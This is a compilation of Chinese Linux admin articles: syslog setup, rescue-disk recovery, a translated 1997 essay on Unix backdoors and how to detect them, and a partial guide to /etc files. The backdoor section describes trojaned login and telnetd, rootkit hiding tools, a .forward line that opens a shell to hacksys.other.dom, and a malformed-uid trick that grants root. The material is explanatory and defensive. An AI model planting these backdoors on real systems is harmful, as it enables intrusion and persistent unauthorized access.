*.alert root,tiger

有时syslogd将产生大量的消息。例如内核（"kern"设备）可能很冗长。用户可能想把内核消息纪录到/dev/console中。下面的例子表明内核日志纪录被注释掉了：

#Log all kernel messages to the console
#Logging much else clutters up the screen
#kern.* /dev/console

用户可以在一行中指明所有的设备。下面的例子把info或更高级别的消息送到/var/log/messages，除了mail以外。级别"none"禁止一个设备：

#Log anything（except mail）of level info or higher
#Don't log private authentication messages!
*.info:mail.none;authpriv.none /var/log/messages

在有些情况下，可以把日志送到打印机，这样网络入侵者怎么修改日志都没有用了。通常要广泛纪录日志。Syslog设备是一个攻击者的显著目标。一个为其他主机维护日志的系统对于防范服务器攻击特别脆弱，因此要特别注意。

有个小命令logger为syslog（3）系统日志文件提供一个shell命令接口，使用户能创建日志文件中的条目。用法：logger 例如：logger This is a test！

它将产生一个如下的syslog纪录：Aug 19 22:22:34 tiger: This is a test!

注意不要完全相信日志，因为攻击者很容易修改它的。

5. 程序日志

许多程序通过维护日志来反映系统的安全状态。su命令允许用户获得另一个用户的权限，所以它的安全很重要，它的文件为sulog。同样的还有sudolog。另外，想Apache有两个日志：access_log和error_log。

6. 其他日志工具

chklastlog
ftp://coast.cs.purdue.edu/pub/tools/unix/chklastlog/
chkwtmp
ftp://coast.cs.purdue.edu/pub/tools/unix/chkwtmp/
dump_lastlog
ftp://coast.cs.purdue.edu/pub/tools/unix/dump_lastlog.Z
spar
ftp://coast.cs.purdue.edu/pub/tools/unix/TAMU/
Swatch
http://www.lomar.org/komar/alek/pres/swatch/cover.html
Zap
ftp://caost.cs.purdue.edu/pub/tools/unix/zap.tar.gz
日志分类方法
http://csrc.nist.gov/nissc/1998/proceedings/paperD1.pdf


Linux系统常见紧急情况的处理方法

出处：Linux应用者

1．使用急救盘组进行维护
急救盘组（也称为boot/root盘组），是系统管理员必不可少的工具。用它可以独立地启动和运行一个完整的Linux系统。实际上，急救盘组中的第2张盘上就有一个完整的Linux系统，包括root文件系统；而第1张盘则存放了可启动的内核。
使用急救盘组维护系统很简单。只需用这两张盘启动系统后，进入急救模式，这时使用的是root账户。为了能访问硬盘上的文件，需要手工安装硬盘文件系统。例如，用下面的命令可在/mnt目录中安装/dev/hda2盘上的ext2fs类型的Linux文件系统：
# monut -t ext2/dev/hda2/mnt
注：现在根目录是急救盘上的根目录。为了访问硬盘文件系统中的文件，必须先把它安装到某个目录下。这样，如果将硬盘上文件系统安装在/mmt目录下，则硬盘上原来的/etc/passwd文件的路径就是/mnt/etc/passwd

2、文件系统被破坏时的处理方法
当文件系统被破坏时，如果使用的是ext2fs类型的文件系统，就可从软盘运e2fsck命令来修正文件系统中被损坏的数据。对于其他类型的文件系统，可以使用相应的fsck命令。 当从软盘上检查文件系统时，最好不要mount安装
注：文件系统被破坏的常见原因是超级块被损坏，超级块是文件系统的“头部”。它包含文件系统的状态、尺寸和空闲磁盘块等信息。如果损坏了一个文件系统的超级块（例如不小心直接将数据写到了文件系统的超级块分区中），那么系统可能会完全不识别该文件系统，这样也就不能安装它了，即使采用e2fsck命令也不能处理这个问题。
不过，ext2fs类型的文件系统将超级块的内容进行了备份，并存放于驱动程序的块组（block group）边界。可以用如下的命令通知e2fsck使用超级块的备份
# e2fsck -b 8193
是指文件系统所在的分区，-b 8193选项用于显示使用存放在文件系统中的8193块的超级块的备份数据

3、恢复丢失的文件
如果不小心删除了重要的文件，那么没有办法直接恢复。但是还可以将相应的文件从急救盘复制到硬盘上。例如，如果删除了文件/bin/login，此时系统无法正常进到登录界面，可以用急救盘组启动系统，将硬盘文件系统安装到/mnt目录下，然后使用下述命令：
#cp -a /bin/login /mnt/bin
“-a”选项用于告诉cp在拷贝时保持文件的访问权限。 当然如果被删除的基本文件不在“急救盘组”中，也就不能用这种方法了。如果以前做过系统备份的话，那么也可以用以前的备份来恢复。

4．函数库破坏时的处理方法
如果不小心将系统函数库文件破坏了，或者破坏了/lib目录下符号链接，那么将导致依赖这些库的命令无法执行。最简单的解决办法是用急救盘组启动系统,在/mnt目录中安装硬盘文件系统，然后修复/mnt/lib目录下的库。

5、无法用root账号登录系统
由于系统管理员的疏忽，或者由于系统受到黑客的入侵,系统管理员可能无法用root帐号登录系统。
对于第1种情况，可能是系统管理员忘记了root密码，用急救盘组就可以解决问题。
对于第2种情况，由于很可能是密码被黑客修改了，因此系统管理员无法进入系统，也就是说，Linux系统完全失去了控制，因此应尽快重新获得系统的控制权。在取得 root权限后，还应检查系统被破坏的情况，以防被黑客再次入侵。
需要做的最主要的工作就是重新设置root的密码，获得Linux操作系统的控制权。首先用急救盘组启动系统，然后将硬盘的文件系统安装到/mnt目录下，编辑/mnt/etc/passwd文件，将其对应于root账户的一行加密口令域置空，如下所示：
root::0:0:root:/root:bin/bash
注： 如果系统使用 shadow工具，就需要对文件/etc/shadow进行上述的操作，使root登录系统不需要口令。
这样，root账户就没有口令了。当重新从硬盘启动Linux系统时，就可以用root账户登录（系统不会要求输入密码）。进入系统后，再用命令passwd设置新的口令。

6、Linux系统不能启动
一般来说，如果系统管理员不能正常进入系统，就需要考虑使用急救盘组进入急救模式排除系统的故障。但在没有制作急救盘组的情况下，Linux系统不能启动，该怎么办？
在个人计算机使用 Linux系统时，通常都是Linux和MS Windows 9x或MS Windows NT并存的。由于重新安装其他的操作系统，经常会导致原有的Linux不能启动。这主要是因为，这些操作系统默认为计算机中没有其他的操作系统，因而改写了硬盘的主引导记录（MBR），冲掉了Linux的LILO系统引导程序。
如果有急救盘组，那么很简单，用第一张启动盘启动硬盘的Linux系统，重新运行LILO命令，就可以将LILO系统引导程序写回硬盘的主引导记录。再次开机即可。
如果没有系统启动盘，怎样恢复硬盘上的Linux呢？在这种情况下，如果知道Linux在硬盘上的确切安装分区，且有loadlin程序，就可以重新返回Linux。 loadlin程序是DOS下的程序，运行它可以从DOS下直接启动Linux，快速进入Linux环境。在 Red Hat Linux 6.0光盘的 dosutil/目录下就有这个程序。除此之外，还需要一个 Linux启动内核的映像文件。在 Red Hat linux 6.0光盘的 images/目录下有这个文件——vmlinuz。
例如，在Windows 98系统下面，进入DOS的单用户模式，然后运行下述的loadlin命令，即可重新进入Linux系统：
loadlin vmlinuz root=/dev/hda8
/dev/hda8是Linux的root文件系统所在的硬盘分区位置。命令执行后，就引导Linux系统。用root登录后，运行LILO命令，则重新将LILO装入MBR，回到以前多操作系统并存使用的状态。


Linux系统的后门

关于系统的后门
这是一篇很好的文章,以前曾读过,但很匆忙.昨天静下心来细细品味,颇有收获.
由于水平所限,许多不确切的地方已经指出,希望你们不吝指教.还有,许多方法
理论上能够明白,实际操作尚有距离,希望大家以后能热烈讨论.

后门 (Beta 1)

Christopher Klaus 8/4/97

译者 iamtheguest

从早期的计算机入侵者开始,他们就努力发展能使自己重返被入侵系统的技术或后
门.本文将讨论许多常见的后门及其检测方法. 更多的焦点放在Unix系统的后门,同时
讨论一些未来将会出现的Windows NT的后门. 本文将描述如何测定入侵者使用的方法
这样的复杂内容和管理员如何防止入侵者重返的基础知识. 当管理员懂的一旦入侵者
入侵后要制止他们是何等之难以后, 将更主动于预防第一次入侵. 本文试图涉及大量
流行的初级和高级入侵者制作后门的手法, 但不会也不可能覆盖到所有可能的方法.

大多数入侵者的后门实现以下二到三个目的:

即使管理员通过改变所有密码类似的方法来提高安全性,仍然能再次侵入. 使再
次侵入被发现的可能性减至最低.大多数后门设法躲过日志, 大多数情况下即使入侵者
正在使用系统也无法显示他已在线. 一些情况下, 如果入侵者认为管理员可能会检测
到已经安装的后门, 他们以系统的 脆弱性作为唯一的后门, 重而反复攻破机器. 这也
不会引起管理员的注意. 所以在 这样的情况下，一台机器的脆弱性是它唯一未被注意
的后门.

密码破解后门
这是入侵者使用的最早也是最老的方法, 它不仅可以获得对Unix机器的访问, 而且可
以通过破解密码制造后门. 这就是破解口令薄弱的帐号. 以后即使管理员封了入侵者
的当前帐号,这些新的帐号仍然可能是重新侵入的后门. 多数情况下, 入侵者寻找口令
薄弱的未使用帐号,然后将口令改的难些. 当管理员寻找口令薄弱的帐号是, 也不会发
现这些密码已修改的帐号.因而管理员很难确定查封哪个帐号.

Rhosts + + 后门
在连网的Unix机器中,象Rsh和Rlogin这样的服务是基于rhosts文件里的主机名使用简
单的认证方法. 用户可以轻易的改变设置而不需口令就能进入. 入侵者只要向可以访
问的某用户的rhosts文件中输入"+ +", 就可以允许任何人从任何地方无须口令便能进
入这个帐号. 特别当home目录通过NFS向外共享时, 入侵者更热中于此. 这些帐号也成
了入侵者再次侵入的后门. 许多人更喜欢使用Rsh, 因为它通常缺少日志能力. 许多管
理员经常检查 "+ +", 所以入侵者实际上多设置来自网上的另一个帐号的主机名和
用户名,从而不易被发现.

校验和及时间戳后门
早期,许多入侵者用自己的trojan程序替代二进制文件. 系统管理员便依靠时间戳和系
统校验和的程序辨别一个二进制文件是否已被改变, 如Unix里的sum程序. 入侵者又发
展了使trojan文件和原文件时间戳同步的新技术. 它是这样实现的: 先将系统时钟拨
回到原文件时间, 然后调整trojan文件的时间为系统时间. 一旦二进制trojan文件与
原来的精确同步, 就可以把系统时间设回当前时间. sum程序是基于CRC校验, 很容易
骗过.入侵者设计出了可以将trojan的校验和调整到原文件的校验和的程序. MD5是被
大多数人推荐的,MD5使用的算法目前还没人能骗过.

Login后门

在Unix里,login程序通常用来对telnet来的用户进行口令验证. 入侵者获取login.c的
原代码并修改,使它在比较输入口令与存储口令时先检查后门口令. 如果用户敲入后门
口令,它将忽视管理员设置的口令让你长驱直入. 这将允许入侵者进入任何帐号,甚至
是root.由于后门口令是在用户真实登录并被日志记录到utmp和wtmp前产生一个访问
的, 所以入侵者可以登录获取shell却不会暴露该帐号. 管理员注意到这种后门后, 便
用"strings"命令搜索login程序以寻找文本信息. 许多情况下后门口令会原形毕露.
入侵者就开始加密或者更好的隐藏口令, 使strings命令失效. 所以更多的管理员是
用MD5校验和检测这种后门的.

Telnetd后门
当用户telnet到系统, 监听端口的inetd服务接受连接随后递给in.telnetd,由它运行
login.一些入侵者知道管理员会检查login是否被修改, 就着手修改in.telnetd.
在in.telnetd内部有一些对用户信息的检验, 比如用户使用了何种终端. 典型的终端
设置是Xterm或者VT100.入侵者可以做这样的后门, 当终端设置为"letmein"时产生一
个不要任何验证的shell. 入侵者已对某些服务作了后门, 对来自特定源端口的连接产
生一个shell .

服务后门
几乎所有网络服务曾被入侵者作过后门. finger, rsh, rexec, rlogin, ftp, 甚至
inetd等等的作了的版本随处多是. 有的只是连接到某个TCP端口的shell,通过后门口
令就能获取访问.这些程序有时用刺娲□？ucp这样不用的服务,或者被加入inetd.conf
作为一个新的服务.管理员应该非常注意那些服务正在运行, 并用MD5对原服务程序做
校验.

Cronjob后门
Unix上的Cronjob可以按时间表调度特定程序的运行. 入侵者可以加入后门shell程序
使它在1AM到2AM之间运行,那么每晚有一个小时可以获得访问. 也可以查看cronjob中
经常运行的合法程序,同时置入后门.

库后门
几乎所有的UNIX系统使用共享库. 共享库用于相同函数的重用而减少代码长度. 一些
入侵者在象crypt.c和_crypt.c这些函数里作了后门. 象login.c这样的程序调用了
crypt(),当使用后门口令时产生一个shell. 因此, 即使管理员用MD5检查login程序,
仍然能产生一个后门函数.而且许多管理员并不会检查库是否被做了后门.对于许多入
侵者来说有一个问题: 一些管理员对所有东西多作了MD5校验. 有一种
办法是入侵者对open()和文件访问函数做后门. 后门函数读原文件但执行trojan后门
程序. 所以 当MD5读这些文件时,校验和一切正常. 但当系统运行时将执行trojan版本
的. 即使trojan库本身也可躲过
MD5校验. 对于管理员来说有一种方法可以找到后门, 就是静态编连MD5校验程序然后
运行.
静态连接程序不会使用trojan共享库.

内核后门
内核是Unix工作的核心. 用于库躲过MD5校验的方法同样适用于内核级别,甚至连静态
连接多不能识别. 一个后门作的很好的内核是最难被管理员查找的, 所幸的是内核的
后门程序还不是随手可得, 每人知道它事实上传播有多广.

文件系统后门

入侵者需要在服务器上存储他们的掠夺品或数据,并不能被管理员发现. 入侵者的文章
常是包括exploit脚本工具,后门集,sniffer日志,email的备分,原代码,等等. 有时为
了防止管理员发现这么大的文件, 入侵者需要修补"ls","du","fsck"以隐匿特定的目
录和文件.在很低的级别, 入侵者做这样的漏洞: 以专有的格式在硬盘上割出一部分,
且表示为坏的扇区. 因此入侵者只能用特别的工具访问这些隐藏的文件. 对于普通的
管理员来说, 很难发现这些"坏扇区"里的文件系统, 而它又确实存在.

Boot块后门
在PC世界里,许多病毒藏匿与根区, 而杀病毒软件就是检查根区是否被改变. Unix下,
多数管理员没有检查根区的软件, 所以一些入侵者将一些后门留在根区.

隐匿进程后门
入侵者通常想隐匿他们运行的程序. 这样的程序一般是口令破解程序和监听程序
(sniffer).有许多办法可以实现,这里是较通用的: 编写程序时修改自己的argv[]
使它看起来象其他进程名. 可以将sniffer程序改名类似in.syslog再执行. 因此
当管理员用"ps"检查运行进程时, 出现 的是标准服务名. 可以修改库函数致使
"ps"不能显示所有进程. 可以将一个后门或程序嵌入中断驱动程序使它不会在进程表
显现. 使用这个技术的一个后门
例子是amod.tar.gz :

http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html

也可以修改内核隐匿进程.

最流行的后门安装包之一是rootkit.
它很容易用web搜索器找到.从Rootkit的README
里,可以找到一些典型的文件:
z2 - removes entries from utmp, wtmp, and lastlog.
Es - rokstar's ethernet sniffer for sun4 based kernels.
Fix - try to fake checksums, install with same dates/perms/u/g.
Sl - become root via a magic password sent to login.
Ic - modified ifconfig to remove PROMISC flag from output.
ps: - hides the processes.
Ns - modified netstat to hide connections to certain machines.
Ls - hides certain directories and files from being listed.
du5 - hides how much space is being used on your hard drive.
ls5 - hides certain files and directories from being listed.

网络通行后门
入侵者不仅想隐匿在系统里的痕迹, 而且也要隐匿他们的网络通行. 这些网络通行后
门有时允许入侵者通过防火墙进行访问. 有许多网络后门程序允许入侵者建立某个端
口号并不用通过普通服务就能实现访问. 因为这是通过非标准网络端口的通行, 管理
员可能忽视入侵者的足迹. 这种后门通常使用TCP,UDP和ICMP, 但也可能是其他类型报
文.

TCP Shell 后门
入侵者可能在防火墙没有阻塞的高位TCP端口建立这些TCP Shell后门. 许多情况下,他
们用口令进行保护以免管理员连接上后立即看到是shell访问. 管理员可以用netstat
命令查看当前的连接状态, 那些端口在侦听, 目前连接的来龙去脉. 通常这些后门可
以让入侵者躲过TCP Wrapper技术. 这些后门可以放在SMTP端口, 许多防火墙允许
e-mail通行的.

UDP Shell 后门
管理员经常注意TCP连接并观察其怪异情况, 而UDP Shell后门没有这样的连接, 所以
netstat不能显示入侵者的访问痕迹. 许多防火墙设置成允许类似DNS的UDP报文的通
行. 通常入侵者将UDP Shell放置在这个端口, 允许穿越防火墙.

ICMP Shell 后门
Ping是通过发送和接受ICMP包检测机器活动状态的通用办法之一. 许多防火墙允许外
界ping它内部的机器. 入侵者可以放数据入Ping的ICMP包, 在ping的机器间形成一个
shell通道. 管理员也许会注意到Ping包暴风, 但除了他查看包内数据, 否者入侵者不
会暴露.

加密连接
管理员可能建立一个sniffer试图某个访问的数据, 但当入侵者给网络通行后门加密
后,就不可能被判定两台机器间的传输内容了.

解决
当后门技术越先进, 管理员越难于判断入侵者是否侵入后者他们是否被成功封杀.

评估
首先要做的是积极准确的估计你的网络的脆弱性, 从而判定漏洞的存在且修复之.许多
商业工具用来帮助扫描和查核网络及系统的漏洞. 如果仅仅安装提供商的安全补丁的
话,许多公司将大大提高安全性.

MD5基准线
一个系统(安全)扫描的一个重要因素是MD5校验和基准线. MD5基准线是在黑客入侵前
由干净
系统建立. 一旦黑客入侵并建立了后门再建立基准线, 那么后门也被合并进去了.一些
公司被入侵且系统被安置后门长达几个月.所有的系统备份多包含了后门. 当公司发现
有黑客并求助备份祛除后门时, 一切努力是徒劳的, 因为他们恢复系统的同时也恢复
了后门. 应该在入侵发生前作好基准线的建立.

入侵检测
随着各种组织的上网和允许对自己某些机器的连接,入侵检测正变的越来越重要.以前
多数入侵检测技术是基于日志型的. 最新的入侵检测系统技术(IDS)是基于实时侦听和
网络通行安全分析的. 最新的IDS技术可以浏览DNS的UDP报文, 并判断是否符合DNS协
议请求. 如果数据不符合协议, 就发出警告信号并抓取数据进行进一步分析. 同样的
原则可以运用到ICMP包, 检查数据是否符合协议要求, 或者是否装载加密shell会话.

从CD-ROM启动

一些管理员考虑从CD-ROM启动从而消除了入侵者在CD-ROM上做后门的可能性.这种方法
的问题是实现的费用和时间够企业面临的.

警告
由于安全领域变化之快, 每天有新的漏洞被公布, 而入侵者正不断设计新的攻击和安
置后门技术, 安枕无忧的安全技术是没有的.请记住没有简单的防御,只有不懈的努力!
( Be aware that no defense is foolproof, and that there is no substitute
for
diligent attention. 此句该如何翻译? )

-------------------------------------------------------------------------

you may want to add:

.forward Backdoor

On Unix machines, placing commands into the .forward file was also
a common method of regaining access. For the account ********username''
a .forward file might be constructed as follows:

\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"

permutations of this method include alteration of the systems mail
aliases file (most commonly located at /etc/aliases). Note that
this is a simple permutation, the more advanced can run a simple
script from the forward file that can take arbitrary commands via
stdin (after minor preprocessing).

PS: The above method is also useful gaining access a companies
mailhub (assuming there is a shared a home directory FS on
&nbs>

the client and server).

> Using smrsh can effectively negate this backdoor (although it's quite
> possibly still a problem if you allow things like elm's filter or
> procmail which can run programs themselves...).

你也许要增加:

.forward后门
Unix下在.forward文件里放入命令是重新获得访问的常用方法. 帐户'username'
的
.forward可能设置如下:

\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e
/bin/sh"

这种方法的变形包括改变系统的mail的别名文件(通常位于/etc/aliases). 注意这只
是一种简单的变换. 更为高级的能够从.forward中运行简单脚本实现在标准输入执行
任意命令(小部分预处理后).
>利用smrsh可以有效的制止这种后门(虽然如果允许可以自运行的elm's filter或
procmail>类程序, 很有可能还有问题 ......)

你也许能用这个"特性"做后门:

当在/etc/password里指定一个错误的uid/gid后, 大多数login(1)的实现是不能检查
出这个错误
的uid/gid, 而atoi(3)将设uid/gid为0, 便给了超级用户的权利.

例子:

rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
在Linux里,这将把用户rmartin的uid设为0.

本文所有权归作者所有！如要转载请保持文章完整性
摘自:绿色兵团

全文:ccpi.gov.cn


linux系统各文件、目录介绍

网站：http://www.webrj.com e-maileelinux@163.com

一、简介:

linux操作系统中,以文件来表示所有的逻辑实体与非逻辑实体。逻辑实体系指文件与目录; 非逻辑实体则泛指硬盘、终端机、打印机等。
一般而言,linux文件名称的组成除由连续字母、标点符号、数字等构成外,中间不能有空格符、路径名称符号 / 或 # * % & {} [] ……..等与shell有关的特殊字符。
linux文件系统中,结构上以root file system 位最上位也最为重要,所谓root file system乃于开机时将root partition挂载在 / 的目录,若无法mount / 则开机时无法进入linux系统中此时仅能remount / 的目录。该目录下有/etc、/dev、/boot、/home、/lib、/lost+found、/mnt、/opt、/proc、/root、/bin、/sbin、/tmp、/var、/usr等重要目录,以下兹分别介绍之。

二、目录与文件简介

1./etc:本目录下存放着许多系统所需的重要设定与管理文件,有一些为纯档名,有些是以.conf的型态出现另亦有一些自成单一目录:当然亦有些设定文件并非放在/etc目录下,例如使用者家目录之.bashrc、.bash_profile等文件;通常祇要更动过/etc目录下之设定档内容必须重新激活设定档使设定生效,且一般亦无须重开机。以下谨胪列主要文件如后:

(1) hostname
本文件内容仅记载主机+网域名称,在系统提示符号下输入hostname可以显示hostname之文件内容。如：www.webrj.com、www.webrj.net、www.e0797.com、www.ok138.com等。

(2) xf86config
本文件内容为x window system的主要设定档,caldera的版本放在/etc目录下,redhat版本则放在/etc/x11目录下,有关显示卡、鼠标、键盘均可在此加以设定。

(3) aliases
本文件内容用来设定邮件别名及邮件清单可以让特定的地址转寄给不同的使用者或群组;编辑完/etc/aliases后须下newaliases指令使之生效，对于由远程寄送至local端的邮件具有备份功能，为mail server重要的设定档之一。

(4) amd.conf
本文件为一常驻服务程序(daemon)，全名为automatically mount file system，caldera的版本称为am.d；是一个能自动mount和umount cdrom和floppy的文件系统。

(5) at.deny
本文件为对能否使用at指令的使用者加以限制, at 是一个非常有用的工具，可以让使用者指定在特定时刻执行某个程序或指令，通常只执行一次。如果你想定时定期的执行某项工作，应该使用cron工具而非at。

(6) crontab
本文件可让系统定时执行排程工作为系统管理上极为重要之文件，cron是一个常驻程序 (daemon)，在开机时激活cron的daemon时，它会自动去检查/var/spool/cron 目录下面看看是否有任何cron文件。每一个user的可以去设定自己所要排定执行的工作。在这一个目录底下，每一个user会有一个属于他loginid名称的cron文件，crond会自动将这些user的cron文件加载至内存中，并定期去执行每个user的cron文件。另外，crond也会去读取 /etc/crontab 的内容。

这是属于系统的cron工作设定文件，主要系统会定期去执行 /etc/cron.d/ 目录下面四个cron.daily、cron.hourly、cron.weekly、cron.monthly目录下(redhat版本则集中放在/etc目录下)的命令。

(7) dhcpd.conf
本文件为dhcp server的设定档,可烤贝/usr/doc/dhcp-serial number目录下的dhcpd.conf.sample至/etc目录下，该文件内容一般有记载着subnet、netmask、routers、domain-name、default-lease-time、max-lease-time及 ip range；亦可一并指派固定ip给特定主机。

(8) dosemu.conf
本文件为dos仿真器的设定文件可以在linux上仿真dos环境，用dos 指令。

(9) dumpdate
dump指令可对linux ext2文件系统进行检查备份(例如dumpe2fs /etc　对/etc目录作备份)，dumpdate则是存放dump指令的执行日期。

(10) exports
本文件为nfs(network file system)设定档，nfs主要是运用在unix 系统上，用来使unix系统能够在几部计算机间做文件的分享。其功能类似windows的网络磁盘驱动器，可以mount的方式，分享其它linux或unix主机的目录或文件。exports文件内则分别记载着分享目录、分享对象及权限等项目。

(11) fdprm
本文件为软盘机参数表，含有各大小格式扇区磁道等资料。

(12) fstab
本文件包含了开机时需加载的文件系统,每一行都表示一个文件系统,各字段分别有特定的装置或远程的文件系统、挂载点、加载的文件型态、挂载选项、dump设定及fsck设定。此文件可供linux于开机时加载到系统上，并于关机时卸载。

(13) ftp*
以ftp开头的文件如ftpaccess(主要设定档)、ftpconversions(文件的相关压缩规定)、ftpgroups、ftphosts、ftpusers(分别为ftp群组、主机、使用者拒绝存取设定)等均为ftp server相关的设定档。

(14) group 本文件为群组的资料文件，可以使每个使用者均拥有自己的群组；一般而言新的使用者建立后的的同时会产生相同于使用者名称的群组名称(redhat distribution)(caldera distribution 则会随adduser 或useradd 指令的不同而会纳入users群组或相同于使用者名称的群组名称)；在gnome环境中可用linuxconf设定，在kde环境中可用user manger加以设定之。

(15) host*
在/etc目录下以host开头的文件有host.conf、hosts、hosts.allow、host.deny等目录，兹分述如下:
host.conf
本文件设定网络搜寻顺序系依hosts或dns之先后顺序定之;同时亦可一并设定是否将多重ip指定给一台主机与否。
hosts
本文件设定主机的ip及网域名称，利用此文件可加速特定主机的搜寻速度无须借助dns之功能，早期未有dns前即是依赖hosts档作名称查寻。
hosts.allow
本文件记载着允许那些主机联机到你的主机，在系统安全上为tcpwrapper机制的存取控制文件。通常是维护主机安全或作测试用。
hosts.deny
本文件记载着拒绝那些主机联机到你的主机，在系统安全上为tcpwrapper机制的存取控制文件。通常是维护主机安全或作测试用。一般而言，常与hosts.allow檔原则上先deny all 再设定allow，被allow同意的存取便不会再被deny否决。

(16) httpd
本目录下置放有conf目录、log 及module等文件其中尤以conf目录下的httpd.conf(主要设定档) 、access.conf(网页目录及资料来源路径文件)、srm.conf(设定apache的存取控制檔)，目前apache 1.3.9以后版本已整合成httpd.conf加以设定即可；/etc/httpd为apache server重要目录所在。

(17) inetd.conf
通常当系统激活时，有部份的service是并没有在开机时被激活的，以节省系统资源。他们是利用inetd( internet daemon)--来监控网络服务的要求，再激活适当的daemon。inetd 是用来监控各种service的daemon，依不同的port提供不同的监控。/etc/inetd.conf即为其设定档，并由tcpd来提供监控。例如将telnet加上#，系统便不提供telnet的服务。
本文件最常与tcpwrapper机制的存取控制文件hosts.allow及 hosts.deny搭配负责网络安全的监控；举ftp为例，当inetd接收到使用ftp的请求时，便会激活tcpd，tcpd先纪录这项ftp的请求，然后检查hosts.allow、host.deny这二个存取设定控制档，如果同意存取，就会激活。另外,tcpwapper只能影响inetd激活，并且在inetd.conf里面经过编辑，由tcpd呼叫的服务，所以并不能为其它服务提供安全保障(如sendmail、nfs等)。管理者可以看log文件知道系统是否有被别人侵入。

(18) inittab
一般linux系统激活时，lilo 执行后加载kernel，kernel激活后呼init program(/sbin/init)激活系统必备程序，init为parent process(呼叫后fork 许多child process)，接着便检视/etc/inittab，视/etc/inittab以runlevel? 启动再执行/etc/rc.d/rc.?d/下所有s开头之shell script,直到完成(ex.s10network ; s40cron)是以inittab文件乃在规范使用者要以那一种runlevel登入linux系统，我们亦可直接在系统提示符号下输入init 或 telinit 后加上欲豋入之第几层runlevel,例如init 3 或telinit 5，即可进入该环境模式。

(19) isapnp.gone
本文件包含isa适配卡所使用的资源,可用来设定硬件所需的内存、i/o base、irq及dma。

(20) issue(net)
本文件是记载使用者在登入本机时所出现的一段文字讯息，例如「red hat linux release 6.2 (zoot) + cle v0.9p1 (yami) kernel 2.2.17-4cle on an i586」而issue.net则用于远程登入时之文字讯息显示之用。issue文件可加以修改成你需要出现的内容, 但需同时将/etc/rc.d/rc.local文件中「echo “” > /etc/issue至echo >> /etc/issue」等几行加上批注起来，始能生效。

(21) ldso.conf
本文件存放了系统中共享函式库(shared libraries)的路径；linux提供了两种形式函式库：shared及static，而unix只提供shared libraries。当程序被编译时，程序便会去连结该程序所需用到的函式库。有时候程序为了便于侦错，或是为了某些考量，我们不希望程序去使用共享函式库，而是把会用到的链接库全部连结进程序的执行文件，让程序本身拥有一份函式库中函式的副本，这种方式称为静态连结程序(static linked)，而依赖共享函式库所建立的程序称动态连结程序(dynamically linked)。系统安装了library后，必须告诉程序library放置于何处，使用共享函式库的好处是免除不同的程序里重复使用静态函数库(static libraries)，与其在每个呼叫这些函式的程序里都储存一份copy，不如把函式库集中在系统的文件里，让执行的程序都可以读到这个程序。
当编辑完ldso.conf文件增加新的函式库或新安装某个套件之后(可能会安装某个新的共享函式库)，后须下ldconfig -v，使之生效。

(22) lilo.conf
lilo即linux loader，本文件lilo.conf内容可以分为两部分: global及per-image，负责指定开机时所使用的kernel及开机时所要读取的lilo是放在哪一个装置，另亦有设定多重开机功能，使多个操作系统并存；如果对本文件进行修改，须下lilo –v –v –v 的指令重改设定由于lilo并非为一daemon，仅为一内部程序，通常须重开机后设定始能生效。

(23) mediaprm
本文件用来定义磁盘驱动器位于linux下的代号ex. /dev/fd0、/dev/cdrom

(24) modules.conf
本文件为模块的主要设定文件，在red hat 版本之名称命名为conf.modules ，modules一般来说大部分为一些装置、网络、文件系统等的驱动程序，传统上，驱动程序是核心的一部份，因为几乎所有的核心都需要藉由成为核心码的一部份来取得使用硬件的能力，至于模块化程序则是一种可加载之式驱动程序(loadable
device driver)，在系统执行时是直接由加载内存或从内存卸载；而使用module的方式，可以不用重新建立kernel，同时也可以节省时间及内存空间。

(25) motd
本文件为系统显示与user的提示讯息提示的时机则在user login并输入帐号及密码后出现之讯息，例如:「last login: mon dec 18 10:19:15 on tty1」。

(26) mtab
本文件记载着已挂载(mount)的文件系统，当你下mount指令时所显现之内容与mtab内容常相一致。

(27) ntp.conf
ntp全名为network time protocol(网络对时协议)，系client端针对ntp server作同步化对时所使用之协议，为达到ntp同步化获致正确而可信赖时间。ntp.conf则为主要设定文件提供模式的选择和使用的servers设定。

(28) pam.d
pam（pluggable authentication modules）即可插拔的认证模块；当login时，必需提供username和password，然后系统根据所给予的username和password来验证可否login，确认使用者身份，pam允许设置多种认证方式，不须再重新编译核心要进行认证的程序。使用pam，可编辑配置文件动态的去读取配置模块，然后再去执行验证；pam.d目录下则放置与pam相关的文件。

(29) passwd
每一位使用者皆有使用者名称供以辨识身份，亦必须一并设定密码在/etc/passwd文件中可以root身份来加入新的使用者，通常user输入username及密码，系统会先将输入之密码加密成13位码，再与 / etc / passwd作一比对，无误与否。至于实际的密码则放在/etc/shadow文件中。

(30) protocols
通讯协议号码是ip数据段表头中的一个字节，藉以显示出数据应该传给ip层以上的何种协议；至于协议号码则规范在本文件中，protocols内容是一个对照表，包含协议名称及协议号码和批注等栏项，利用协议号码与协议名称的对照便可知使用何种协议。

(31) rc.d
本目录下以etc/rc.d/rc0.d ~ /etc/rc.d/rc6.d里的文件代表各种不同runlevel所激活的daemon尤为重要，k代表kill，s代表start。在渠等目录下的文件通常为一连结档link至/etc/rc.d/init.d 里的daemon以供激活。/etc/inittab文件乃在规范使用者要以那一种runlevel登入linux系统，至于本文件案则视以runlevel? 登入，代表激活rc?.d目录下依序激活各连结档的shell script(/etc/rc.d/init.d 里的daemon)。

(32) resolv.conf
bind的伺服端透过daemon(/etc/rc.d/init.d/named)来执行；bind的客户端则透过resolver，它是一个程序函式库组成，会发出名称查询，而由/etc/resolv.conf设定之(即将nameserver加入该文件中)，例如echo “
nameserver 172.17.0.10” >> /etc/resolv.conf 或者手动vi编辑之。

(33) rpc
rpc全名为remote procedure call即远程程序呼叫，通常系指local 端程序对位于远程系统中的程序进行呼叫，俟其完成任务并将该任务传回给local端；/etc/rpc文件内存rpc程序号码数据库，含有使用者可识别之替代rpc程序号码的名称基本格式则含有rpc程序的server名称、rpc程序号码、别名等记载栏项。

(34) samba.d/smb.conf:
samba(server message block protocol)使用来将linux system与windows system透过网络上的芳邻作沟通整合之用，而/etc/samba.d/smb.conf 则为samba的重要设定档，该档中主要分global与share defini tions二大项；/etc/samba.d/ smbpasswd则是samba password的设定档。

(35) securetty
本文件定义了root可login的terminal，一般而言预设为tty1至tty8，root只能从定义中的terminal登入。

(36) sendmail.cf
